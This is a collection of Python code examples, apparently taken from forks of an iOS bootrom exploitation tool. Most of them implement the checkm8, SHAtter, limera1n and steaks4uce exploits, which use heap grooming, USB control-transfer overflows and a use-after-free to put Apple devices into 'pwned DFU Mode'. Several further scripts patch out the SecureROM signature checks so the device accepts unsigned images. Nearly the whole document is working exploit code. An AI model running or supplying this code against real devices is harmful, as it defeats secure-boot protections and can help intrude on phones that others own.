Example #1
0
def exploit():
    print '*** checkm8 exploit by axi0mX ***'
    print '*** modified version by Linus Henze ***'
    print '*** s5l8965x support by Matthew Pierson ***'

    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number
    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return
    payload, config = exploit_config(device.serial_number)

    if config.large_leak is not None:
        usb_req_stall(device)
        for i in range(config.large_leak):
            usb_req_leak(device)
        usb_req_no_leak(device)
    else:
        stall(device)
        for i in range(config.hole):
            no_leak(device)
        leak(device)
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)

    # Advance buffer offset before triggering the UaF to prevent trashing the heap
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0,
                                   'A' * config.overwrite_offset, 10)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    usb_req_stall(device)
    if config.large_leak is not None:
        usb_req_leak(device)
    else:
        for i in range(config.leak):
            usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i + 0x800], 50)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)
Example #2
0
def main():
    print "*** SecureROM Signature check remover by Linus Henze ***"
    device = dfu.acquire_device()
    print "Found:", device.serial_number
    if not "PWND:[" in device.serial_number:
        print "Please enable pwned DFU Mode first."
        sys.exit(1)
    if not "PWND:[checkm8]" in device.serial_number:
        print "Only devices pwned using checkm8 are supported."
        sys.exit(1)
    config = exploit_config(device.serial_number)
    print "Applying patches..."
    try:
        pdev = usbexec.PwnedUSBDevice()
    except usb.core.USBError:
        print "Patches have already been applied. Exiting."
        sys.exit(0)
    for k in config.patches.keys():
        pdev.write_memory(k, config.patches[k])
    print "Successfully applied patches"
    print "Resetting device state"
    print "* This will effectiveley disable pwned DFU Mode"
    print "* Only the signature patches will remain"
    # Send abort
    device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
    # Perform USB reset
    dfu.usb_reset(device)
    dfu.release_device(device)
    print "Device is now ready to accept unsigned images"
Example #3
0
def exploit():
    print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'

    device = dfu.acquire_device()
    print 'Found:', device.serial_number

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    if 'CPID:8930' not in device.serial_number:
        print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'
        sys.exit(1)

    if 'SRTG:[iBoot-574.4]' not in device.serial_number:
        print 'ERROR: CPID is compatible, but serial number string does not match.'
        print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
        sys.exit(1)

    dfu.reset_counters(device)
    dfu.get_data(device, 0x40)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.get_data(device, 0x2C000)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    dfu.reset_counters(device)
    dfu.get_data(device, 0x140)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.send_data(device, generate_payload())
    dfu.get_data(device, 0x2C000)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    failed = 'PWND:[SHAtter]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)

    print 'Device is now in pwned DFU Mode.'
Example #4
0
def exploit():
    print '*** based on limera1n exploit (heap overflow) by geohot ***'

    device = dfu.acquire_device()
    print 'Found:', device.serial_number

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    chosenConfig = None
    for config in configs:
        if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
            chosenConfig = config
            break
    if chosenConfig is None:
        for config in configs:
            if 'CPID:%s' % config.cpid in device.serial_number:
                print 'ERROR: CPID is compatible, but serial number string does not match.'
                print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
                sys.exit(1)
        print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.'
        sys.exit(1)

    dfu.send_data(
        device,
        generate_payload(chosenConfig.constants, chosenConfig.exploit_lr))

    assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1

    limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800,
                                         10)

    try:
        device.ctrl_transfer(0x21, 2, 0, 0, 0, 10)
        print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.'
        sys.exit(1)
    except usb.core.USBError:
        # OK: This request should have raised USBError.
        pass

    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    failed = 'PWND:[limera1n]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)

    print 'Device is now in pwned DFU Mode.'
Example #5
0
def exploit():
  print '*** checkm8 exploit by axi0mX ***'
  print '*** s5l8747x (haywire) support by a1exdandy ***'

  device = dfu.acquire_device()
  start = time.time()
  print 'Found:', device.serial_number
  if 'PWND:[' in device.serial_number:
    print 'Device is already in pwned DFU Mode. Not executing exploit.'
    return
  payload, config = exploit_config(device.serial_number)

  if config.large_leak is not None:
    usb_req_stall(device)
    for i in range(config.large_leak):
      usb_req_leak(device)
    usb_req_no_leak(device)
  else:
    stall(device)
    for i in range(config.hole):
      no_leak(device)
    usb_req_leak(device)
    no_leak(device)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  device.serial_number
  libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
  libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
  dfu.release_device(device)

  time.sleep(0.8)

  device = dfu.acquire_device()
  usb_req_stall(device)
  if config.large_leak is not None:
    usb_req_leak(device)
  else:
    for i in range(config.leak):
      usb_req_leak(device)
  libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)
  for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  if 'PWND:[checkm8]' not in device.serial_number:
    print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
    sys.exit(1)
  print 'Device is now in pwned DFU Mode.'
  print '(%0.2f seconds)' % (time.time() - start)
  dfu.release_device(device)
Example #6
0
def exploit():
  print("*** checkm8 exploit by axi0mX ***")

  device = dfu.acquire_device()
  start = time.time()
  print("Found:"), device.serial_number
  if 'PWND:[' in device.serial_number:
    print("Device is already in pwned DFU Mode. Not executing exploit.")
    return
  payload, config = exploit_config(device.serial_number)

  if config.large_leak is not None:
    usb_req_stall(device)
    for i in range(config.large_leak):
      usb_req_leak(device)
    usb_req_no_leak(device)
  else:
    stall(device)
    for i in range(config.hole):
      no_leak(device)
    leak(device)
    no_leak(device)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  device.serial_number
  libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001)
  libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
  dfu.release_device(device)

  time.sleep(0.5)

  device = dfu.acquire_device()
  usb_req_stall(device)
  if config.large_leak is not None:
    usb_req_leak(device)
  else:
    for i in range(config.leak):
      usb_req_leak(device)
  libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
  for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  if 'PWND:[checkm8]' not in device.serial_number:
    print("ERROR: Exploit failed. Device did not enter pwned DFU Mode.")
    sys.exit(1)
  print("Device is now in pwned DFU Mode.")
  print("(%0.2f seconds)" % (time.time() - start))
  dfu.release_device(device)
Example #7
0
def exploit():
    print('*** based on steaks4uce exploit (heap overflow) by pod2g ***')

    device = dfu.acquire_device()
    print('Found:', device.serial_number)

    if 'PWND:[' in device.serial_number:
        print('Device is already in pwned DFU Mode. Not executing exploit.')
        return

    if 'CPID:8720' not in device.serial_number:
        print(
            'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.'
        )
        sys.exit(1)

    chosenConfig = None
    for config in configs:
        if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
            chosenConfig = config
            break

    if chosenConfig is None:
        print(
            'ERROR: CPID is compatible, but serial number string does not match.'
        )
        print(
            'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
        )
        sys.exit(1)

    dfu.reset_counters(device)
    dfu.send_data(device, generate_shellcode(chosenConfig.constants))
    dfu.send_data(device, payload)
    assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload),
                                    1000)) == len(payload)
    dfu.release_device(device)

    time.sleep(0.01)

    device = dfu.acquire_device()
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    failed = 'PWND:[steaks4uce]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
        sys.exit(1)

    print('Device is now in pwned DFU Mode.')
Example #8
0
def exploit_a8_a9():
    print '*** checkm8 exploit by axi0mX ***'

    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number
    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return
    padding = 0x400 + 0x80 + 0x80
    overwrite = struct.pack('<32xQQ', 0x180380000, 0)
    if 'CPID:8000' in device.serial_number or\
        'CPID:8003' in device.serial_number:
        payload_a8_a9 = payload(0x8003)
    elif 'CPID:7000' in device.serial_number:
        payload_a8_a9 = payload(0x7000)

    stall(device)
    leak(device)
    for i in range(40):
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding, 10)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    usb_req_stall(device)
    usb_req_leak(device)
    usb_req_leak(device)
    usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, overwrite, 100)
    for i in range(0, len(payload_a8_a9), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload_a8_a9[i:i + 0x800], 100)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)
Example #9
0
DFU_ABORT = 4
HOST2DEVICE = 0x21

SIG_CHECKS_1 = 0x1000078B4
SIG_CHECKS_2 = 0x1000078C0
SIG_CHECKS_3 = 0x1000078E4
SIG_CHECKS_4 = 0x100007BAC
SIG_CHECKS_5 = 0x1800888C4

pwnd_device = usbexec.PwnedUSBDevice()
device = dfu.acquire_device()

# Remove sigchecks

pwnd_device.write_memory(SIG_CHECKS_1, "\x1F\x20\x03\xD5")
pwnd_device.write_memory(SIG_CHECKS_2, "\x1F\x20\x03\xD5")
pwnd_device.write_memory(SIG_CHECKS_3, "\x1F\x20\x03\xD5")
pwnd_device.write_memory(SIG_CHECKS_4, "\x1F\x20\x03\xD5")
pwnd_device.write_memory(SIG_CHECKS_5, "\x00\x00\x00\x00")

# Reset USB connection

device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)

dfu.usb_reset(device)
dfu.release_device(device)

# All done

print 'Removed SecureROM Signature Checks.'
Example #10
0
def main():
    print "*** SecureROM t8015 sigcheckpath by tihmstar ***"
    device = dfu.acquire_device()
    print "Found:", device.serial_number
    if not "PWND:[" in device.serial_number:
        print "Please enable pwned DFU Mode first."
        sys.exit(1)
    if not "PWND:[checkm8]" in device.serial_number:
        print "Only devices pwned using checkm8 are supported."
        sys.exit(1)
    dfu.release_device(device)

    device = usbexec.PwnedUSBDevice()

    #make Level3 Table
    l3table = ""
    for addr in range(0x0000000100000000, 0x0000000100100000, PAGE_SIZE):
        entry = struct.pack("<Q", makePTE_Page_16K(addr))
        if addr == REMAP_PAGE:  #we are remapping heapcheck page
            entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE))
        elif addr == REMAP_PAGE2:  #we are remapping sigcheck page
            entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE2))
        l3table += entry

    #we write L3 Table here
    device.write_memory(SRAM_PAGETABLE_PAGE, l3table)

    #remap heapcheck page to sram
    device.memcpy(SRAM_REMAP_PAGE, REMAP_PAGE, PAGE_SIZE)

    #remap sigcheck page to sram
    device.memcpy(SRAM_REMAP_PAGE2, REMAP_PAGE2, PAGE_SIZE)

    # patch heap corruption check
    device.write_memory(0x000000010000db98 - REMAP_PAGE + SRAM_REMAP_PAGE,
                        "\xC0\x03\x5F\xD6")

    #patch codesigs
    device.write_memory(0x000000010000624c - REMAP_PAGE2 + SRAM_REMAP_PAGE2,
                        "\x00\x00\x80\xD2")

    #L2 Table point to L3
    device.write_memory(
        0x000000018000c400,
        struct.pack("<Q", makePTE_Table_16K(SRAM_PAGETABLE_PAGE)))

    #memory barrier
    device.execute(0, 0x1000004F0)

    #flush tlb
    device.execute(0, 0x1000004AC)

    print("done remapping and patching page")
    device = dfu.acquire_device()

    device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
    # Perform USB reset
    try:
        dfu.usb_reset(device)
        dfu.release_device(device)
    except:
        pass
    print "Device is now ready to accept unsigned images"
Example #11
0
def exploit():
    print('*** checkm8 exploit by axi0mX ***')

    print("****** stage 1, heap grooming")
    device = dfu.acquire_device()
    start = time.time()
    print('Found:', device.serial_number)
    if 'PWND:[' in device.serial_number:
        print('Device is already in pwned DFU Mode. Not executing exploit.')
        return
    payload, config = exploit_config(device.serial_number)

    if config.large_leak is not None:
        usb_req_stall(device)
        for i in range(config.large_leak):
            usb_req_leak(device)
        usb_req_no_leak(device)
    else:
        print("no large leak, hole:%d" % config.hole)
        stall(device)
        for i in range(config.hole):
            no_leak(device)
        leak(device)
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    print("****** stage 2, usb setup, send 0x800 of 'A', sends no data")
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)
    #exit(0)

    time.sleep(0.5)

    print("****** stage 3, exploit")
    device = dfu.acquire_device()
    usb_req_stall(device)
    if config.large_leak is not None:
        usb_req_leak(device)
    else:
        print("doing leak %d" % config.leak)
        for i in range(config.leak):
            usb_req_leak(device)

    # https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
    # this is the real smash, what's in overwrite
    # t8010_nop_gadget = 0x10000CC6C
    """
  ROM:000000010000CC6C                 LDP             X29, X30, [SP,#0x10] ; this is the nop gadget?
  ROM:000000010000CC70                 LDP             X20, X19, [SP],#0x20
  ROM:000000010000CC74                 RET
  """
    # t8010_overwrite    = b'\0' * 0x580 + struct.pack('<32x2Q',             t8010_nop_gadget, 0x1800B0800)
    # SP = 0x1800B0800?
    # This overwrites the task struct
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)

    #return struct.pack('<1024sQ504x2Q496s32x',
    #  0x400 = t8010_shellcode,
    #  0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) +
    #  usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks)

    # upload the payload, or actually, this is after the pwning happens and this is exec
    # this is usb_0xA1_2_arm64 and checkm8_arm64
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i + 0x800], 50)

    # this is trigger?
    dfu.usb_reset(device)
    dfu.release_device(device)

    print("****** final check")
    device = dfu.acquire_device()
    print("final serial", device.serial_number)
    if 'PWND:[checkm8]' not in device.serial_number:
        print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
        #sys.exit(1)
    else:
        print('Device is now in pwned DFU Mode.')
        print('(%0.2f seconds)' % (time.time() - start))
    dfu.release_device(device)
Example #12
0
def exploit():
    print '*** checkm8 exploit by axi0mX ***'

    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number
    payload, config = exploit_config(device.serial_number)
    # payload, config = exploit_config("CPID:8015 CPRV:11 CPFM:03 SCEP:01 BDID:0A ECID:<> IBFL:3C SRTG:[iBoot-3332.0.0.1.23]")

    # t8015
    hexdump(0x18001c000, payload)
    # return

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return
    # payload, config = exploit_config(device.serial_number)

    if config.large_leak is not None:
        usb_req_stall(device)
        for i in range(config.large_leak):
            usb_req_leak(device)
        usb_req_no_leak(device)
    else:
        stall(device)
        for i in range(config.hole):
            no_leak(device)
        usb_req_leak(device)
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    usb_req_stall(device)
    if config.large_leak is not None:
        usb_req_leak(device)
    else:
        for i in range(config.leak):
            usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i + 0x800], 100)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)

    dfu.release_device(device)
Example #13
0
def exploit():
    print('*** checkm8 exploit by axi0mX ***')

    print('**** STAGE 1 ****')
    print('Checking for device in DFU mode')

    device = dfu.acquire_device()
    start = time.time()
    print('Found:', device.serial_number)
    if 'PWND:[' in device.serial_number:
        print("Device already PWNed. Exiting.")
        return

    print('**** STAGE 2 ****')
    print("Checking if device is exploitable")
    payload, config = exploit_config(device.serial_number)

    print("CPID: %s is exploitable" % hex(config.cpid))
    print("Bootloader: [%s]" % config.version)
    print('**** STAGE 3 ****')
    print("Leaking...")

    if config.large_leak is not None:
        usb_req_stall(device)
        for i in range(config.large_leak):
            usb_req_leak(device)
        usb_req_no_leak(device)
    else:
        stall(device)
        for i in range(config.hole):
            no_leak(device)
        leak(device)
        no_leak(device)

    print('Resetting USB and releasing device')
    # reset & release device
    dfu.usb_reset(device)
    dfu.release_device(device)

    print('**** STAGE 4 ****')
    device = dfu.acquire_device()
    device.serial_number

    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    print('**** STAGE 5 ****')

    device = dfu.acquire_device()
    usb_req_stall(device)
    if config.large_leak is not None:
        usb_req_leak(device)
    else:
        for i in range(config.leak):
            usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i + 0x800], 50)
    dfu.usb_reset(device)
    dfu.release_device(device)

    print("**** STAGE 6 ****")

    # check if device pwned
    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
        sys.exit(1)
    print('Device is now in pwned DFU Mode.')
    print('(%0.2f seconds)' % (time.time() - start))
    dfu.release_device(device)